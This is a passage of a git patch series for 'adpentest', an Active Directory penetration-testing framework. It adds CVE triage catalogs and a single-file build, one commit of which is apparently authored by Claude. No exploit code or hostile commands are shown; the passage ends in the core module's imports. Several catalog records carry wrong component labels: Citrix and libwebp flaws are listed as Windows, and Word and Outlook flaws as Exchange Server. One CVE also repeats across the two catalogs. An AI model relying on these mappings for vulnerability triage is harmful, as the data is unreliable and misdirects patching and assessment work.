ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-29997", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-29998", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38063", "component": "Windows TCP/IP", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and network-stack configuration"}, + {"cve_id": "CVE-2024-38077", "component": "Windows Remote Desktop Licensing Service", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows Server versions and service exposure"}, + {"cve_id": "CVE-2024-38078", "component": "Windows Remote Desktop Licensing Service", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows Server versions and service exposure"}, + {"cve_id": "CVE-2024-38080", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38088", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38089", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38108", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38112", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38178", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38200", "component": "Windows/Office", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected product/version evidence before correlation"}, + {"cve_id": "CVE-2024-43532", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, +] + +DE_NOVO_CVE_IDS_40: Final[frozenset[str]] = frozenset( + item["cve_id"] for item in DE_NOVO_CVES_40 +) + + +def get_de_novo_cves_40() -> list[dict[str, str]]: + """Return a copy of the 40 additional defensive CVE records.""" + return [dict(item) for item in DE_NOVO_CVES_40] From 43b539dbf213cde5e56e60ae419d088fd6703ad0 Mon Sep 17 00:00:00 2001 From: netanelcyber <87965762+netanelcyber@users.noreply.github.com> Date: Sun, 6 Sep 2026 02:52:06 +0300 Subject: [PATCH 06/10] feat(cve): expose 40 de novo CVE records --- adpentest/__init__.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/adpentest/__init__.py b/adpentest/__init__.py index 7cc9e12..0b0f4a8 100644 --- a/adpentest/__init__.py +++ b/adpentest/__init__.py @@ -1,10 +1,14 @@ -__version__ = "1.1.4" +__version__ = "1.1.5" from .cve_catalog_100 import EXTENDED_CVES, EXTENDED_CVE_IDS, get_extended_cves, merge_with_registry +from .cve_catalog_de_novo_40 import DE_NOVO_CVES_40, DE_NOVO_CVE_IDS_40, get_de_novo_cves_40 __all__ = [ "EXTENDED_CVES", "EXTENDED_CVE_IDS", "get_extended_cves", "merge_with_registry", + "DE_NOVO_CVES_40", + "DE_NOVO_CVE_IDS_40", + "get_de_novo_cves_40", ] From 729126f7ce3b5db6a3b07af1396ce1a4d56b2179 Mon Sep 17 00:00:00 2001 From: Claude Date: Sat, 5 Sep 2026 23:55:20 +0000 Subject: [PATCH 07/10] Add single-file distribution adpentest_onefile.py Consolidates all package modules (core, cve_catalog_100, cve_catalog_de_novo_40, de_novo, __init__) into one importable .py file preserving the full public API and version 1.1.5. Co-Authored-By: Claude Opus 4.7 Claude-Session: https://claude.ai/code/session_01StfRVksGuSEQdzZAoXUNpC --- adpentest_onefile.py | 11489 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 11489 insertions(+) create mode 100644 adpentest_onefile.py diff --git a/adpentest_onefile.py b/adpentest_onefile.py new file mode 100644 index 0000000..ae6d992 --- /dev/null +++ b/adpentest_onefile.py @@ -0,0 +1,11489 @@ +"""adpentest - single-file distribution. + +Active Directory penetration testing framework with automatic Domain +Controller detection, 29 AD/SMB/Kerberos/ADCS/Email tools, parallelized +execution, extended CVE triage catalogs, and de-novo finding integration. + +Single-file build assembled from: + adpentest/__init__.py + adpentest/cve_catalog_100.py (100-entry CVE triage catalog) + adpentest/cve_catalog_de_novo_40.py (40-entry de-novo CVE catalog) + adpentest/de_novo.py (native de-novo engine wrapper) + adpentest/core.py (framework core) + +All public names remain importable from this module. +""" + +from __future__ import annotations + +# ============================================================================ +# Version & package metadata (from adpentest/__init__.py) +# ============================================================================ +__version__ = "1.1.5" + + +__all__ = [ + "EXTENDED_CVES", + "EXTENDED_CVE_IDS", + "get_extended_cves", + "merge_with_registry", + "DE_NOVO_CVES_40", + "DE_NOVO_CVE_IDS_40", + "get_de_novo_cves_40", +] + +# ============================================================================ +# Extended CVE catalog - 100 entries (from cve_catalog_100.py) +# ============================================================================ +from typing import Final + +EXTENDED_CVES: Final[list[dict[str, str]]] = [ + {"cve_id": "CVE-2017-0144", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-0145", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-0146", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-0147", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-8464", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-11774", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-11882", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-0886", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-0797", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-8120", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-8440", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-8581", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-8653", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0708", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0714", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0803", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0859", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0863", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1064", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1162", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1181", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1182", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1214", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1252", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1253", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1319", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1372", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1385", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1388", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1405", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1414", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1458", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1489", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0601", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0610", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0646", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0665", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0688", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1015", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1017", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1020", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1048", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1054", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1337", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1350", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1464", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-16898", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-16938", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-17001", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-17087", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-17136", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-17144", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-26897", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-27078", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-28310", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-31166", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-31206", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-31207", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-33742", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-34448", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-34473", "component": "Exchange Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-34523", "component": "Exchange Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-36934", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-36936", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-36942", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-40444", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-41379", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-43890", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-21907", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-21920", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-22047", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-22040", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-24521", "component": "Windows/SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-24522", "component": "Windows/SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-26837", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-26937", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-27518", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-34713", "component": "Windows/SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-34718", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-34724", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-21716", "component": "Exchange Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-23397", "component": "Exchange Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-24880", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-24955", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-29357", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-36874", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-36884", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-38148", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-4863", "component": "Windows/networking ecosystem", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-50868", "component": "Windows DNS / enterprise DNS", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-21410", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-21412", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-21413", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-21416", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-26204", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-30078", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-30080", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-30085", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-38021", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-38063", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, +] + +EXTENDED_CVE_IDS: Final[frozenset[str]] = frozenset(item["cve_id"] for item in EXTENDED_CVES) + + +def get_extended_cves() -> list[dict[str, str]]: + """Return a copy of the 100-entry extended CVE catalog.""" + return [item.copy() for item in EXTENDED_CVES] + + +def merge_with_registry(registry: dict[str, dict]) -> dict[str, dict]: + """Merge the extension into an existing ADCVERegistry mapping. + + Existing entries win, preventing this extension from overwriting richer + metadata already present in the core registry. + """ + merged = dict(registry) + for item in EXTENDED_CVES: + merged.setdefault( + item["cve_id"], + { + "name": item["cve_id"], + "component": item["component"], + "family": item["family"], + "description": "Extended Windows/AD ecosystem CVE; correlate with NVD/MSRC and target version before reporting.", + "assessment": item["assessment"], + "exploitation_status": "UNKNOWN", + "tags": ["extended-cve", "windows", "ad-assessment"], + }, + ) + return merged + +# ============================================================================ +# De-novo CVE catalog - 40 entries (from cve_catalog_de_novo_40.py) +# ============================================================================ +from typing import Final + +DE_NOVO_CVES_40: Final[list[dict[str, str]]] = [ + {"cve_id": "CVE-2024-20674", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-21356", "component": "Windows LDAP", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and LDAP configuration"}, + {"cve_id": "CVE-2024-21427", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-26248", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-29995", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-38129", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-38239", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-43642", "component": "Windows SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB configuration"}, + {"cve_id": "CVE-2025-21218", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-21299", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-21350", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-26647", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-27469", "component": "Windows LDAP", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and LDAP configuration"}, + {"cve_id": "CVE-2025-27479", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-27740", "component": "Active Directory Certificate Services", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate AD CS configuration, certificate templates, and affected versions"}, + {"cve_id": "CVE-2025-29956", "component": "Windows SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB configuration"}, + {"cve_id": "CVE-2025-29968", "component": "Active Directory Certificate Services", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected AD CS versions and configuration"}, + {"cve_id": "CVE-2025-32718", "component": "Windows SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB configuration"}, + {"cve_id": "CVE-2025-47978", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-50169", "component": "Windows SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB configuration"}, + {"cve_id": "CVE-2025-55234", "component": "Windows SMB Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate SMB signing/EPA hardening state and affected versions"}, + {"cve_id": "CVE-2025-59280", "component": "Windows SMB Client", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB authentication configuration"}, + {"cve_id": "CVE-2025-60704", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos cryptographic configuration"}, + {"cve_id": "CVE-2024-26252", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-26250", "component": "Windows Secure Boot", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and boot-chain configuration"}, + {"cve_id": "CVE-2024-26244", "component": "Microsoft SQL Server OLE DB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate product/version evidence before correlation"}, + {"cve_id": "CVE-2024-29996", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-29997", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-29998", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38063", "component": "Windows TCP/IP", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and network-stack configuration"}, + {"cve_id": "CVE-2024-38077", "component": "Windows Remote Desktop Licensing Service", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows Server versions and service exposure"}, + {"cve_id": "CVE-2024-38078", "component": "Windows Remote Desktop Licensing Service", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows Server versions and service exposure"}, + {"cve_id": "CVE-2024-38080", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38088", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38089", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38108", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38112", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38178", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-38200", "component": "Windows/Office", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected product/version evidence before correlation"}, + {"cve_id": "CVE-2024-43532", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, +] + +DE_NOVO_CVE_IDS_40: Final[frozenset[str]] = frozenset( + item["cve_id"] for item in DE_NOVO_CVES_40 +) + + +def get_de_novo_cves_40() -> list[dict[str, str]]: + """Return a copy of the 40 additional defensive CVE records.""" + return [dict(item) for item in DE_NOVO_CVES_40] + +# ============================================================================ +# De-novo native-engine integration (from de_novo.py) +# ============================================================================ +import json +import shutil +import subprocess +from pathlib import Path + + +def find_de_novo(target: str, timeout_ms: int = 800, binary: str | None = None) -> dict: + """Run the read-only C finding engine and return structured findings. + + The engine performs TCP reachability checks and conservative correlation + rules. Findings are hypotheses for validation, not CVE assertions. + """ + executable = binary or shutil.which("de_novo_finder") + if not executable: + local = Path(__file__).resolve().parent.parent / "native" / "de_novo_finder" + if local.exists(): + executable = str(local) + if not executable: + return { + "status": "unavailable", + "engine": "de-novo-c", + "target": target, + "findings": [], + "reason": "native de_novo_finder is not installed", + } + + proc = subprocess.run( + [executable, target, str(timeout_ms)], + capture_output=True, + text=True, + timeout=max(5, timeout_ms / 1000 * 12), + check=False, + ) + if proc.returncode != 0: + return { + "status": "error", + "engine": "de-novo-c", + "target": target, + "findings": [], + "stderr": proc.stderr.strip(), + } + + data = json.loads(proc.stdout) + data["status"] = "completed" + return data + +# ============================================================================ +# Core framework (from core.py) +# ============================================================================ +import argparse +import imaplib +import ipaddress +import json +import os +import platform +import poplib +import re +import shutil +import smtplib +import socket +import subprocess +import sys +import time +from concurrent.futures import ThreadPoolExecutor, as_completed +from 